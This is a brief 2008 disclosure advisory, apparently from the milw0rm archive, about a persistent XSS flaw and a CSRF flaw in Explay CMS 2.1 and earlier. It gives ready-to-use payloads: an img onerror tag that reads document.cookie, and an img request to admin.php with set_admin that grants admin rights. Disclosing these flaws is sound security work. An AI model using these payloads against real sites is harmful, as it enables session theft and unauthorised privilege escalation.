1 ================================== 2 Explay CMS <= 2.1 Persistent XSS and CSRF 3 ================================== 4 Discovered by hodik 5 Mail: n.khodov@gmail.com 6 7 1. Persistent XSS 8 This CMS has bad anti−XSS filter that cut only some basic vectors. The loginned user can inject persistent XSS by add ing to article text or comment <img src="http://google.com" onerror="alert(document.cookie)" /> 9 10 2. CSRF 11 User can get admin rights if admin open malicious page that contain, for instance: 12 <img src="http://explay.localhost/admin.php?name=users&page=1&order=user_id&set_admin=2" /> 13 or merely insert it to comment or article text. 14 15 # milw0rm.com [2008−09−19] Page 1/1 Explay CMS 2.1 Persistent XSS and CSRF Vulnerability hodik 09/19/2008